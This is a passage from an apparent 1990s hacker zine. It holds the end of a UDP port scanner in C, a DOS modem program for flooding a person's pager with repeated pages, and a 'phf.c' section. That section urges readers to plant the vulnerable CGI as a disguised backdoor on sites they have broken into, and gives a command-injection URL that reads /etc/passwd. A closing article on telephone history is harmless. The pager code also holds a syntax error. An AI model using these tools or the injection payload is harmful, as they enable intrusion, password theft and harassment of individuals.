  1755.      */
  1756.     if (time_since(last_reply) > 3 * (avg_rtt == 0 ? 1 :
  1757.                      avg_rtt < avg_irt ? avg_irt : avg_rtt)
  1758.         && find_port_info(test_portno) == 0) {
  1759.         last_reply = now;
  1760.         write_port(add_port(test_portno));
  1761.     }
  1762.     } while (ports_busy && (ports_busy >= hard_limit
  1763.                 || ports_busy >= probes_done
  1764.                 || ports_busy >= soft_limit));
  1765. }
  1766.  
  1767. /* receive_answers - receive reactions to probes */
  1768.  
  1769. receive_answers()
  1770. {
  1771.     fd_set  read_mask;
  1772.     struct timeval waitsome;
  1773.     double  delay;
  1774.     int     answers;
  1775.  
  1776.     /*
  1777.     * The timeout is less than the inter-reply arrival time or we would not
  1778.     * be able to increase the load.
  1779.     */
  1780.     delay = (2 * avg_rtt < avg_irt ? avg_irt / 3 : avg_rtt / (1 + ports_busy * 4));
  1781.     waitsome.tv_sec = delay;
  1782.     waitsome.tv_usec = (delay - waitsome.tv_sec) * 1000000;
  1783.  
  1784.     read_mask = icmp_sock_mask;
  1785.     if ((answers = select(icmp_sock + 1, &read_mask, (fd_set *) 0, (fd_set *) 0,
  1786.               &waitsome)) < 0)
  1787.     error("select: %m");
  1788.  
  1789.     gettimeofday(&now, (struct timezone *) 0);
  1790.  
  1791.     /*
  1792.     * For each answer that we receive without retransmissions, update the
  1793.     * average roundtrip time.
  1794.     */
  1795.     if (answers > 0) {
  1796.     if (FD_ISSET(icmp_sock, &read_mask))
  1797.         receive_icmp(icmp_sock);
  1798.     }
  1799.     return (answers);
  1800. }
  1801.  
  1802. /* receive_icmp - receive and decode ICMP message */
  1803.  
  1804. receive_icmp(sock)
  1805. int     sock;
  1806. {
  1807.     union {
  1808.     char    chars[BUFSIZ];
  1809.     struct ip ip;
  1810.     }       buf;
  1811.     int     data_len;
  1812.     int     hdr_len;
  1813.     struct ip *ip;
  1814.     struct icmp *icmp;
  1815.     struct udphdr *udp;
  1816.     struct port_info *sp;
  1817.  
  1818.     if ((data_len = recv(sock, (char *) &buf, sizeof(buf), 0)) < 0) {
  1819.     error("error: recv: %m");
  1820.     return;
  1821.     }
  1822.  
  1823.     /*
  1824.     * Extract the IP header.
  1825.     */
  1826.     ip = &buf.ip;
  1827.     if (ip->ip_p != IPPROTO_ICMP) {
  1828.     error("error: not ICMP proto (%d)", ip->ip_p);
  1829.     return;
  1830.     }
  1831.  
  1832.     /*
  1833.     * Extract the IP payload.
  1834.     */
  1835.     hdr_len = ip->ip_hl << 2;
  1836.     if (data_len - hdr_len < ICMP_MINLEN) {
  1837.     remark("short ICMP packet (%d bytes)", data_len);
  1838.     return;
  1839.     }
  1840.     icmp = (struct icmp *) ((char *) ip + hdr_len);
  1841.     data_len -= hdr_len;
  1842.  
  1843.     if (icmp->icmp_type != ICMP_UNREACH)
  1844.     return;
  1845.  
  1846.     /*
  1847.     * Extract the offending IP header.
  1848.     */
  1849.     if (data_len < offsetof(struct icmp, icmp_ip) + sizeof(icmp->icmp_ip)) {
  1850.     remark("short IP header in ICMP");
  1851.     return;
  1852.     }
  1853.     ip = &(icmp->icmp_ip);
  1854.     if (ip->ip_p != IPPROTO_UDP)
  1855.     return;
  1856.     if (ip->ip_dst.s_addr != sin.sin_addr.s_addr)
  1857.     return;
  1858.  
  1859.     /*
  1860.     * Extract the offending UDP header.
  1861.     */
  1862.     hdr_len = ip->ip_hl << 2;
  1863.     udp = (struct udphdr *) ((char *) ip + hdr_len);
  1864.     data_len -= hdr_len;
  1865.     if (data_len < sizeof(struct udphdr)) {
  1866.     remark("short UDP header in ICMP");
  1867.     return;
  1868.     }
  1869.  
  1870.     /*
  1871.     * Process ICMP subcodes.
  1872.     */
  1873.     switch (icmp->icmp_code) {
  1874.     case ICMP_UNREACH_NET:
  1875.     error("error: network unreachable");
  1876.     /* NOTREACHED */
  1877.     case ICMP_UNREACH_HOST:
  1878.     if (sp = find_port_info(ntohs(udp->uh_dport)))
  1879.         process_reply(sp, EHOSTUNREACH);
  1880.     break;
  1881.     case ICMP_UNREACH_PROTOCOL:
  1882.     error("error: protocol unreachable");
  1883.     /* NOTREACHED */
  1884.     case ICMP_UNREACH_PORT:
  1885.     if (sp = find_port_info(ntohs(udp->uh_dport)))
  1886.         process_reply(sp, ECONNREFUSED);
  1887.     break;
  1888.     }
  1889. }
  1890.  
  1891. /* process_reply - process reply */
  1892.  
  1893. process_reply(sp, err)
  1894. struct port_info *sp;
  1895. int     err;
  1896. {
  1897.     double  age = sock_age(sp);
  1898.     int     pkts = sp->pkts;
  1899.     double  irt = time_since(last_reply);
  1900.  
  1901.     /*
  1902.     * Don't believe everything.
  1903.     */
  1904.     if (age > 5) {
  1905.     age = 5;
  1906.     } else if (age < 0) {
  1907.     age = 1;
  1908.     }
  1909.     if (irt > 5) {
  1910.     irt = 5;
  1911.     } else if (irt < 0) {
  1912.     irt = 1;
  1913.     }
  1914.  
  1915.     /*
  1916.     * We jump some hoops for calibration purposes. First we estimate the
  1917.     * round-trip time: we use this to decide when to retransmit when network
  1918.     * transit time dominates.
  1919.     * 
  1920.     * Next thing to do is to estimate the inter-reply time, in case the sender
  1921.     * has a "dead time" for ICMP replies; I have seen this happen with some
  1922.     * Cisco routers and with Solaris 2.4. The first reply will come fast;
  1923.     * subsequent probes will be ignored for a period of up to one second.
  1924.     * When this happens the retransmission period should be based on the
  1925.     * inter-reply time and not on the average round-trip time.
  1926.     */
  1927.     last_reply = now;
  1928.     replies++;
  1929.     if (pkts == 1)
  1930.     avg_rtt = (avg_rtt == 0 ? age :         /* adopt initial rtt */
  1931.            average(age, avg_rtt));    /* normal processing */
  1932.     avg_irt = (avg_irt == 0 ? 1 :       /* prepare for irt
  1933.                          * calibration */
  1934.           avg_irt == 1 ? irt :        /* adopt initial irt */
  1935.           average(irt, avg_irt));          /* normal processing */
  1936.     avg_pkts = average((double) pkts, avg_pkts);
  1937.     if (verbose)
  1938.     printf("%d:age %.3f irt %.3f pkt %d ports %2d soft %2d done %2d avrtt %.3f avpkt %.3f avirt %.3f\n",
  1939.           sp->port, age, irt, pkts,
  1940.           ports_busy, soft_limit,
  1941.           probes_done, avg_rtt, avg_pkts, avg_irt);
  1942.     report_and_drop_port(sp, err);
  1943. }
  1944.  
  1945. /* report_and_drop_port - report what we know about this service */
  1946.  
  1947. report_and_drop_port(sp, err)
  1948. struct port_info *sp;
  1949. int     err;
  1950. {
  1951.     struct servent *se;
  1952.  
  1953.     if (probes_done == 0) {
  1954.     if (err == 0)
  1955.         error("are we talking to a dead host or network?");
  1956.     } else if (show_all || want_err == err || (want_err < 0 && want_err != ~err)) {
  1957.     printf("%d:%s:", sp->port,
  1958.           (se = getservbyport(htons(sp->port), "udp")) ?
  1959.           se->s_name : "UNKNOWN");
  1960.     if (err && show_all)
  1961.         printf("%s", strerror(err));
  1962.     printf("\n");
  1963.     fflush(stdout);
  1964.     }
  1965.     drop_port(sp);
  1966. }
  1967.  
  1968. /* average - quick-rise, slow-decay moving average */
  1969.  
  1970. double  average(new, old)
  1971. double  new;
  1972. double  old;
  1973. {
  1974.     if (new > old) {                    /* quick rise */
  1975.     return ((new + old) / 2);
  1976.     } else {                       /* slow decay */
  1977.     return (0.1 * new + 0.9 * old);
  1978.     }
  1979. }
  1980.  
  1981. /* add_port - say this port is being probed */
  1982.  
  1983. struct port_info *add_port(port)
  1984. int     port;
  1985. {
  1986.     struct port_info *sp = (struct port_info *) ring_succ(&dead_ports);
  1987.  
  1988.     ring_detach((RING *) sp);
  1989.     sp->port = port;
  1990.     sp->pkts = 0;
  1991.     ports_busy++;
  1992.     ring_append(&active_ports, (RING *) sp);
  1993.     return (sp);
  1994. }
  1995.  
  1996. /* write_port - write to port, update statistics */
  1997.  
  1998. write_port(sp)
  1999. struct port_info *sp;
  2000. {
  2001.     char    ch = 0;
  2002.  
  2003.     ring_detach((RING *) sp);
  2004.     sin.sin_port = htons(sp->port);
  2005.     sp->last_probe = now;
  2006.     sendto(send_sock, &ch, 1, 0, (struct sockaddr *) & sin, sizeof(sin));
  2007.     probes_sent++;
  2008.     sp->pkts++;
  2009.     ring_prepend(&active_ports, (RING *) sp);
  2010.  
  2011.     /*
  2012.     * Reduce the sending window when the first retransmission happens. Back
  2013.     * off when retransmissions dominate. Occasional retransmissons will keep
  2014.     * the load unchanged.
  2015.     */
  2016.     if (sp->pkts > 1) {
  2017.     replies--;
  2018.     if (soft_limit > hard_limit) {
  2019.         soft_limit = (ports_busy + 1) / 2;
  2020.     } else if (replies < 0 && avg_irt) {
  2021.         soft_limit = 0.5 + 0.5 * (soft_limit + avg_rtt / avg_irt);
  2022.         replies = soft_limit / 2;
  2023.     }
  2024.     }
  2025. }
  2026.  
  2027. /* drop_port - release port info, update statistics */
  2028.  
  2029. drop_port(sp)
  2030. struct port_info *sp;
  2031. {
  2032.     ports_busy--;
  2033.     probes_done++;
  2034.     ring_detach((RING *) sp);
  2035.     ring_append(&dead_ports, (RING *) sp);
  2036.  
  2037.     /*
  2038.     * Increase the load when a sufficient number of probes succeeded.
  2039.     * Occasional retransmissons will keep the load unchanged.
  2040.     */
  2041.     if (replies > soft_limit) {
  2042.     replies = soft_limit / 2;
  2043.     if (soft_limit < hard_limit)
  2044.         soft_limit++;
  2045.     }
  2046. }
  2047.  
  2048. /* init_port_info - initialize port info pool */
  2049.  
  2050. init_port_info()
  2051. {
  2052.     struct port_info *sp;
  2053.  
  2054.     port_info = (struct port_info *) mymalloc(hard_limit * sizeof(*port_info));
  2055.     ring_init(&active_ports);
  2056.     ring_init(&dead_ports);
  2057.     for (sp = port_info; sp < port_info + hard_limit; sp++)
  2058.     ring_append(&dead_ports, (RING *) sp);
  2059. }
  2060.  
  2061. /* find_port_info - lookup port info */
  2062.  
  2063. struct port_info *find_port_info(port)
  2064. int     port;
  2065. {
  2066.     struct port_info *sp;
  2067.  
  2068.     for (sp = (struct port_info *) ring_succ(&active_ports);
  2069.      sp != (struct port_info *) & active_ports;
  2070.      sp = (struct port_info *) ring_succ((RING *) sp))
  2071.     if (sp->port == port)
  2072.         return (sp);
  2073.     return (0);
  2074. }
  2075.  
  2076.  
  2077. _____________________________________________________________
  2078. [ French Pager Annyoing] by memor
  2079.  
  2080.  
  2081. A little C++ (Borland3.1) program for Pager Annoying.
  2082.  
  2083. 1--- Why that program?
  2084.  
  2085. You Call french pagers TATOO via an automatic number reserved for each pager.
  2086. in france , they begin by 0806xxxx mosty.. (for calling them via a foreign 
  2087. country like usa.. it is (+33) 806xxxx )
  2088.  
  2089. Well.. That program is using modem for paging someone u want to call u back.. 
  2090. it dials his pager, send the message (a number he will have to call back).
  2091. That program make ure modem paging him 1 time or many times.. with many times 
  2092. i mean ,u can full his pager memory with 50-60k of page.
  2093.  
  2094.  
  2095.                 *** BY THE WAY ***
  2096.  
  2097.  
  2098. The dialing process for a french pager "TATOO" Motorola&France Telecom is
  2099.  
  2100. 1/ Dial Tatoo Pager
  2101. 2/ Dial Numeric Message
  2102. 3/ Dial #
  2103. 4/ Hang Up
  2104.  
  2105. Its why the algorithm of my program is :
  2106.  
  2107.  
  2108. begin:
  2109.   |
  2110.   |  ****************************
  2111.   |  *Define variables nbr,a,...*
  2112.   |  ****************************
  2113.   |      
  2114.   |  ***************************
  2115.   |  *Configure (9600bauds,8n1)* (8n1 = 8 bits per byte.. No parity and 1 Stop Bit)
  2116.   |  ***************************
  2117.   |       
  2118.   |  ********************************
  2119.   |  *Ask Time Number of Paging->nbr*
  2120.   |  ********************************  
  2121.   |
  2122.   |  **************************
  2123.   |  *His Pager Number->Number*
  2124.   |  **************************  
  2125.   |
  2126.   |
  2127.   |  **************************
  2128.   |  *Message to send->Message*
  2129.   |  **************************  
  2130.   |
  2131.   |  *******************
  2132.   |  *Send ATZ + Return*
  2133.   |  *******************
  2134.   |
  2135.   |  **************
  2136.   |  *Wait 0.5 Sec*
  2137.   |  **************
  2138.   |
  2139.   |  ********************
  2140.   |       *0 to nbr.. do that*
  2141.   |  ********************
  2142.   |    |
  2143.   |    |  ***********
  2144.   |    |  *Send ATDT*         
  2145.   |    |  ***********  
  2146.   |       |
  2147.   |    |  *************
  2148.   |    |  *Send Number*
  2149.   |    |  *************
  2150.   |       |
  2151.   |    |  ***********
  2152.   |    |  *Send ,,,,*
  2153.   |    |  ***********
  2154.   |    |
  2155.   |    |  **************
  2156.   |    |  *Send Message*
  2157.   |    |  **************
  2158.   |    |
  2159.   |    |  *************
  2160.   |    |  *Send Return*
  2161.   |    |  *************
  2162.   |    |
  2163.   |    |  **********
  2164.   |    |  *Send +++*
  2165.   |    |  **********
  2166.   |    |
  2167.   |    |  *************
  2168.   |    |  *Wait 1.5sec*
  2169.   |    |  *************
  2170.   |    |
  2171.   |    |  ********************
  2172.   |    |  *Send ATH0 + Return*
  2173.   |    |  ********************
  2174.   |
  2175.   |  *************
  2176.   |  *Continue It*
  2177.   |  *************
  2178.   |
  2179. end:  
  2180.  
  2181.                 ******************
  2182.  
  2183. I used here for using serial device the INT86 (in dos.h) , i could have used 
  2184. outportb .. but i felt like using int86 (slower thing), maybe next time i'll 
  2185. do it with outportb.
  2186.  
  2187. In that programm i used thoses modem command but first:
  2188.  
  2189.                 *REMEMBER...*
  2190.  
  2191. AT are the "AT" commands.. its a prefix "AT" , issued to the modem from the 
  2192. command mode (that command mode will be automatically set when the computer 
  2193. will be turned on).
  2194.  
  2195.                 *************
  2196.  
  2197. ATZ : the reset.. That at command will reset all the modem values to their 
  2198. default settings. It respond OK, you have mostly to wait 1/2 sec before 
  2199. sending other commands.
  2200.  
  2201. ATD: Dial.. That at command instructs the modem to the off-hook state and 
  2202. dial the number that follow it. that command can be followed by the Dial 
  2203. Modifier.
  2204.  
  2205.     P: for pulse dial (using pulse rotary dialing) .. not needed her AT ALL
  2206.     T: for touch tone dial I'll use THAT one.
  2207.  
  2208. so..ATDT.. Touch Tone Dialing.
  2209.  
  2210. , in a ATDT is for waiting a 2 seconds delay
  2211.  
  2212. ATDT 11,,2 will dial 11 , wait 4 seconds (2*2s) and will dial 2 .. all that 
  2213. in touch tone.
  2214.  
  2215. +++ : Set the modem to the command mode.. its an escape sequence. It needs at 
  2216. least one second pause before issuing other commands.
  2217.  
  2218. ATH0: Switch the hook control, instructs the modem to drop the line.. Hanging 
  2219. up.
  2220.  
  2221.  
  2222. 2--- Some Programming..
  2223.  
  2224.  
  2225.     /*Including libraries*/
  2226.  
  2227.     #include <dos.h>         /*For using INT86*/
  2228.     #include <string.h>      /*Gets and Strlen are here*/
  2229.     #include <stdio.h>       /*Printf..Scanf...*/
  2230.     #include <conio.h>       /*For Lame Presentation*/  
  2231.     #include <stdlib.h>      /*For Fun maybe*/
  2232.  
  2233.     /*Define modem reseting,dialing,hangup,pause*/
  2234.  
  2235.     char atz[10]="ATZ\n";         /*Reset*/
  2236.     char atdt[10]="ATDT";         /*Dial Mode Touch Tone Dial*/
  2237.     char pose[10]=",,,,";         /*2sec Pause * 4*/
  2238.     char ppp[10]="+++\n";         /*Escape to Command Mode*/
  2239.     char ath[10]="ATH0\n";        /*Hey Modem!,Drop the line please*/
  2240.  
  2241.     /*define sub-fonctions modem configuring and Char sending*/
  2242.  
  2243.     void configure();        /*Define Default Modem Configuring*/
  2244.     void send(char x);       /*Define Send the Char X!*/
  2245.  
  2246.     /*main routine*/
  2247.     
  2248.     void main()
  2249.     {
  2250.     int a,nbr=0;        /*Define number of paging*/
  2251.     char number[128];   /*Define pager number as char*/
  2252.     char message[128];  /*Define Message to send as Char*/
  2253.     clrscr();           /*Lame presentation*/    
  2254.     configure();                       /*Call modem configuring*/
  2255.     printf("Modem configured\n 9600 8n1");            /*Lame Presentation*/
  2256.     printf("How many time do u want to page him?");   /*Same*/
  2257.     scanf("%d",&nbr);                       /*Asking number of paging*/
  2258.     fflush(stdin);                     /*For killing some bug with gets*/
  2259.     printf("What is his pager number?");              /*Lame Presentation*/
  2260.     gets(number);                           /*Catching pager number*/
  2261.     printf("What message u want to send him (finish by a # on french Tatoos pager)"); /*Lame Presentation*/
  2262.     gets(message);                     /*Catching Message to page*/
  2263.     printf("Reseting modem\n");                  /*Lame Presentation*/
  2264.         for(a=0;a<strlen(atz);a++)         /*Reseting modem*/
  2265.         send(atz[a]);                 /*Call Send Char*/
  2266.     delay(500);                         /*Wait time the modem reply 'OK' */
  2267.         for(int i=0;i<nbr;i++)                  /*Number of time it will page*/
  2268.         {
  2269.         printf("Paging him %d / %d \n",i+1,nbr+1);   /*Lame Presentation*/
  2270.             for(a=0;a<strlen(atdt);a++)             /*ATDT in progress*/
  2271.             send(atdt[a]);                /*Call Send Char*/
  2272.             for(a=0;a<strlen(number);a++)           /*Pager Numer in progress*/
  2273.             send(number[a]);              /*Call Send Char*/
  2274.             for(a=0;a<strlen(pose);a++)             /*Pause in Progress*/
  2275.             send(pose[a[);                /*Call Send Char*/
  2276.             for(a=0;a<strlen(message);a++)               /*Sending Message in Progress*/
  2277.             send(message[a]);             /*Call Send Char*/
  2278.             send(13);                /*Send Return*/
  2279.             for(a=0;a<strlen(ppp);a++)              /*Escape Sequence to Command Mode in Progress*/
  2280.             send(ppp[a]);                 /*Call Send Char*/
  2281.                 delay(1500);                       /*Wait 1.5 sec before sending ByeBye Command*/
  2282.             for(a=0;a<strlen(ath);a++)              /*Hanging Up Command in Progress*/
  2283.             send(ath[a]);                 /*Call Send Char*/
  2284.             delay(500);                        /*Wait 0.5sec before other paging*/
  2285.         }                             /*Go Back to the For*/
  2286.             
  2287.             
  2288.     printf("Paging finished\n");                 /*Lame Presentation*/
  2289.     }
  2290.             
  2291.  
  2292.     void configure()              /*Configuring modem*/
  2293.     {
  2294.     union REGS regs;              /*Preparing INT86*/
  2295.     regs.h.ah=0;                  /*For Configuring Option*/
  2296.     regs.x.dx=1;                  /*1 here cause its needed*/
  2297.     regs.h.al=0xe3;               /*0x03 for 8n1 9600bauds*/
  2298.     int86(0x14,®s,®s);      /*0x14 for serial using of INT86*/
  2299.     }
  2300.  
  2301.     void send(char x)             /*Sending a char X*/
  2302.     {
  2303.     union REGS regs;              /*Preparing INT86*/
  2304.     regs.h.ah=1;                  /*For Sending Option*/
  2305.         do                  /*Preparing a Do-while*/
  2306.         {
  2307.         regs.x.dx=1;             /*1 here cause its needed*/
  2308.         regs.h.al=x;             /*Send X please../*
  2309.         int86(0x14,®s,®s); /*0x14 for serial using of INT86*/
  2310.         }while(regs.h.ah!=0);         /*While sending not succeeded, continue trying*/
  2311.     }         
  2312.         
  2313.  
  2314. 3--- Next time.
  2315.  
  2316. Next time, i'll can do.. or that same program but with outportb (faster) ,
  2317. or that program under some windows interfaces.. or a totally different 
  2318. program, a wardialler.. or a PBX scanner.. Decide for me dudes .
  2319.  
  2320. _____________________________________________________________
  2321. [ The good old phf.c ]
  2322.  
  2323.        Ok, your saying, 'what not this old lame trick'. But hey, shut up and
  2324. read this for a minute. What im giving you here, is well ok, public domain,
  2325. but have any of you even bothered to go to the nsca and get a copy? probably
  2326. not. This hole is now well known, but hey, set this program up in the cgi-bin
  2327. of the site you have broken into. Compile and instant back door to the
  2328. passwords. Am i right, or am i right? Anyway, i was going thru this code the
  2329. other day, and then poof, memor was telling me, his standard procedure now is
  2330. to load this up after renaming it memor, so snooping sysadmins dont notice 
  2331. it, which is a good idea, but id call it either 'logger' or 'scan' or 
  2332. someother 'offical' sounding httpd cgi so they dont mess with it. Anyway, go 
  2333. have fun with this you little deliquents. Oh, by the way, if you've been 
  2334. messing with some Netscape server ( which doesn't come with phf ) install it, 
  2335. and share passwords with your friends, trade, collect, share, etc. ( hmmm, i 
  2336. guess that passwd files are as collectable as baseball cards )
  2337.  
  2338. Ok, if you've forgotten how this thing works, type in the following:
  2339.  
  2340.        http://www.site.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  2341.  
  2342. [ phf.c ]
  2343. #include <stdio.h>
  2344. #include <stdlib.h>
  2345.  
  2346. #define   LF   10
  2347. #define HTML_BREAK  printf("<P>%c", LF);
  2348. typedef struct {
  2349.     char name[128];
  2350.     char val[128];
  2351. } entry;
  2352.  
  2353. typedef struct {
  2354.     char qfield[256];
  2355.     int  qlen;
  2356.     char qname[256];
  2357. } fields;
  2358.  
  2359. void getword(char *word, char *line, char stop);
  2360. char x2c(char *what);
  2361. void unescape_url(char *url);
  2362. void plustospace(char *str);
  2363. void send_fd(FILE *f, FILE *fd);
  2364. void send_doc(int which);
  2365.  
  2366. static fields idxfields[] = { {"Qalias", 32, "Alias"},
  2367.                         {"Qname", 256, "Name" },
  2368.                         {"Qemail", 128, "E-mail Address"},
  2369.                         {"Qnickname", 120, "Nickname"},
  2370.                         {"Qoffice_phone", 60, "Office Phone Number"},
  2371.                         {"Qcallsign", 16, "HAM Callsign"},
  2372.                         {"Qproxy", 64, "Proxy"},
  2373.                         {"Qhigh_school", 30, "High School"},
  2374.                         {"Qslip", 256, "SLIP Address"},
  2375.                         {NULL, 0, NULL}
  2376.                       };
  2377.  
  2378. static fields othersearchfields[] = { {"Qcurriculum", 64, "Curriculum"},
  2379.                         {"Qphone", 64, "Phone Number" },
  2380.                         {"Qaddress", 128, "Address"},
  2381.                         {"Qoffice_address", 128, "Office Address"},
  2382.                         {"Qhome_address", 128, "Home Address"},
  2383.                         {"Qpermanent_address", 128, "Permanent Address"},
  2384.                         {"Qpermanent_phone", 60, "Permanent Phone"},
  2385.                         {"Qdepartment", 64, "Department"},
  2386.                         {"Qtitle", 64, "Title"},
  2387.                         {"Qproject", 256, "Project"},
  2388.                         {"Qother", 256, "Other"},
  2389.                         {"Qbirthday", 24, "Birthday"},
  2390.                         {"Qcolleges", 120, "Colleges Attended"},
  2391.                         {"Qleft_uiuc", 24, "Date/Month Person left UIUC"},
  2392.                         {NULL, 0, NULL},
  2393.                       };
  2394.  
  2395. void send_doc(int which) {
  2396.     int x;
  2397.  
  2398.     printf("<TITLE>Form for CSO PH query</TITLE>%c", LF);
  2399.     printf("<H1>Form for CSO PH query</H1>%c", LF);
  2400.     printf("This form will send a PH query to the specified ph server.%c", LF);
  2401.     HTML_BREAK
  2402.     printf("<HR>%c", LF);
  2403.  
  2404.     printf("<FORM ACTION=\"http://%s:%s%s\">%c", getenv("SERVER_NAME"),
  2405.          getenv("SERVER_PORT"), getenv("SCRIPT_NAME"), LF);
  2406.  
  2407.     printf("PH Server:<INPUT TYPE=\"text\" NAME=\"Jserver\" VALUE=\"ns.uiuc.edu\" MAXLENGTH=\"256\">%c", LF);
  2408.     HTML_BREAK
  2409.  
  2410.     printf("<H3>At least one of these fields must be specified:</H3><UL>%c",LF);
  2411.     for(x=0; idxfields[x].qlen != 0; x++) 
  2412.        printf("<LI><INPUT TYPE=\"text\" NAME=\"%s\" MAXLENGTH=\"%d\">%s%c"
  2413.             ,idxfields[x].qfield, idxfields[x].qlen, idxfields[x].qname,LF);
  2414.  
  2415.     printf("</UL>%c", LF);
  2416.  
  2417.     if (!(which&0x10)) {
  2418.        printf("<A HREF=\"%s?Jform=%d\"><H3>Show additional fields to narrow query</H3></A>%c", getenv("SCRIPT_NAME"), (which | 0x10), LF);
  2419.        }
  2420.     else {
  2421.        printf("<H3>Additional fields to narrow query:</H3><UL>%c",LF);
  2422.  
  2423.        for(x=0; othersearchfields[x].qlen != 0; x++)
  2424.           printf("<LI><INPUT TYPE=\"text\" NAME=\"%s\" MAXLENGTH=\"%d\">%s%c"
  2425.                 ,othersearchfields[x].qfield, othersearchfields[x].qlen,
  2426.                 othersearchfields[x].qname,LF);
  2427.  
  2428.        printf("</UL>%c", LF);
  2429.  
  2430.        printf("<A HREF=\"%s?Jform=%d\">Show fewer query fields</A>%c", getenv("SCRIPT_NAME"), (which & 0x01), LF);
  2431.        }
  2432.  
  2433.     HTML_BREAK
  2434.  
  2435.     if (!(which & 0x01)) {
  2436.        printf("<A HREF=\"%s?Jform=%d\"><H3>Return more than default fields</H3></A>%c", getenv("SCRIPT_NAME"), (which | 0x01), LF);
  2437.        }
  2438.     else {
  2439.        printf("<H3>Fields to return:</H3><UL>%c", LF);
  2440.  
  2441.        for(x=0; idxfields[x].qlen != 0; x++) 
  2442.           printf("<LI><INPUT TYPE=\"checkbox\" NAME=\"return\" VALUE=\"%s\">%s%c", &(idxfields[x].qfield[1]), idxfields[x].qname, LF);
  2443.  
  2444.        for(x=0; othersearchfields[x].qlen != 0; x++)
  2445.           printf("<LI><INPUT TYPE=\"checkbox\" NAME=\"return\" VALUE=\"%s\">%s%c", &(othersearchfields[x].qfield[1]), othersearchfields[x].qname, LF);
  2446.  
  2447.        printf("</UL>%c", LF);
  2448.  
  2449.        printf("<A HREF=\"%s?Jform=%d\">Return default fields</A>%c", getenv("SCRIPT_NAME"), (which & 0x10), LF);
  2450.        }
  2451.  
  2452.     HTML_BREAK
  2453.     printf("<INPUT TYPE=\"submit\">%c", LF);
  2454.     printf("</FORM>%c", LF);
  2455.  
  2456.     printf("<HR>%c<ADDRESS>", LF);
  2457.     printf("Questions, comments to: <a href=\"http://www.ncsa.uiuc.edu/SDG/People/jbrowne/jbrowne.html\">Jim Browne</a>%c", LF);
  2458.     printf("</ADDRESS>%c", LF);
  2459.        
  2460. }
  2461.  
  2462. main(int argc, char *argv[]) {
  2463.     entry entries[64];
  2464.     register int x,m=0;
  2465.     char *cl;
  2466.     char returnstr[1024], typestr[4098], commandstr[8192], serverstr[256];
  2467.     int atleastonereturn = 0, atleastonequery = 0, which = 0;
  2468.     FILE *phfp;
  2469.  
  2470.     printf("Content-type: text/html%c%c",LF,LF);
  2471.  
  2472.     strcpy(returnstr, "return ");
  2473.     strcpy(typestr, " ");
  2474.  
  2475.     cl = getenv("QUERY_STRING");
  2476.  
  2477.     if((!cl) || (!cl[0])) {
  2478.        send_doc(0);
  2479.        exit(1);
  2480.     }
  2481.  
  2482.     for(x=0;cl[0] != '\0';x++) {
  2483.        m=x;
  2484.        getword(entries[x].val,cl,'&');
  2485.        plustospace(entries[x].val);
  2486.        unescape_url(entries[x].val);
  2487.        getword(entries[x].name,entries[x].val,'=');
  2488.     }
  2489.  
  2490.     for(x=0; x <= m; x++) {
  2491. /*      printf("%s = %s %c", entries[x].name, entries[x].val, LF); */
  2492.  
  2493.        if (!strcmp(entries[x].name, "return")) {
  2494.           strcat(returnstr, entries[x].val);
  2495.           strcat(returnstr, " ");
  2496.           atleastonereturn = 1;
  2497.           }
  2498.        else if ((entries[x].name[0] == 'Q') && strlen(entries[x].val)) {
  2499.           strcat(typestr, &(entries[x].name[1]));
  2500.           strcat(typestr, "=");
  2501.           strcat(typestr, entries[x].val);
  2502.           strcat(typestr, " ");
  2503.           atleastonequery = 1;
  2504.           }
  2505.        else if (!strcmp(entries[x].name, "Jserver")) 
  2506.           strcpy(serverstr, entries[x].val);
  2507.        else if (!strcmp(entries[x].name, "Jform")) 
  2508.           if (sscanf(entries[x].val, "%d", &which)) {
  2509.              send_doc(which);
  2510.              exit(1);
  2511.              }
  2512.           else exit(1);
  2513.        }       
  2514.  
  2515.     printf("<H1>Query Results</H1>%c", LF);
  2516.     HTML_BREAK
  2517.  
  2518.     if (!atleastonequery) printf("<B>You did not enter a query!</B>%c",LF);
  2519.     else {
  2520.        strcpy(commandstr, "/usr/local/bin/ph -m ");
  2521.        if (strlen(serverstr)) {
  2522.          strcat(commandstr, " -s ");
  2523.          /* RM 2/22/94 oops */
  2524.          escape_shell_cmd(serverstr);
  2525.          strcat(commandstr, serverstr);
  2526.          strcat(commandstr, " ");
  2527.          }
  2528.        escape_shell_cmd(typestr);
  2529.        strcat(commandstr, typestr);
  2530.        if (atleastonereturn) {
  2531.          escape_shell_cmd(returnstr);
  2532.          strcat(commandstr, returnstr);
  2533.        }
  2534.  
  2535.        printf("%s%c", commandstr, LF);
  2536.        printf("<PRE>%c", LF);
  2537.  
  2538.        phfp = popen(commandstr,"r");
  2539.        send_fd(phfp, stdout);
  2540.  
  2541.        printf("</PRE>%c", LF);
  2542.        }
  2543. }
  2544.  
  2545. _____________________________________________________________
  2546.                 
  2547.                 ---------------------------------------
  2548.                 --=[The history of digital technology]=--
  2549.                         Written by REality
  2550.               REF. Evolution to Digital (elseberry@usa.net)                 
  2551.                 ---------------------------------------
  2552.                      
  2553. In the early 1960's the Bell Systems began to introduce and use a new 
  2554. digital technology in its network. This was necessary because the older 
  2555. carrier systems were rapidly becoming obsolete, and the demand for newer 
  2556. and higher speed communications facilities was building both internally and 
  2557. among the end user communities.
  2558.  
  2559. As this digital technology was being introduced, it was being deployed in 
  2560. the public telephone network as a means of increasing the traffic capacity, 
  2561. within the Bell system only, on the existing wire pair cable facilities as 
  2562. interoffice trunks. The older systems which included the N-Carrier system 
  2563. used a two or four wire connection through an analog multiplexing device to 
  2564. deliver 12 or 24 analog channels depending on the version of N-Carrier used.
  2565. This was still an inefficient use of the line capacity, and the analog 
  2566. service was both noisy and required expensive line treatment equipment. 
  2567. Thus, Bell introduced its newer technology.
  2568.  
  2569. The analog systems were therefore coming to the end of their usable life. 
  2570. The telephone companies had to find a way of improving the utilization of 
  2571. the cable plant on an interoffice basis because they had traditionally 
  2572. under-utilized the pairs of wires and the continued installation of 
  2573. inefficient systems was expensive and bulky. The average length of these 
  2574. wires between their offices was approximately 6.5 miles. As calling 
  2575. requirements continued to grow the telephone companies needed to increase 
  2576. the traffic handling on these interoffice routes. Yet, they were in a 
  2577. quandary. First, they didn't want to continue running on major sized cables 
  2578. between offices, there simply wasn't enough space. Second, costs were 
  2579. escalating based on the reinforcement to their outside plant.
  2580.  
  2581. What did Bell Systems decide to do about this huge problem that they faced?
  2582. Keep reading The HAVOC Technical journal to find out. This story will be 
  2583. continued in the next edition of The HAVOC Technical Journal.
  2584. _____________________________________________________________
  2585.                       
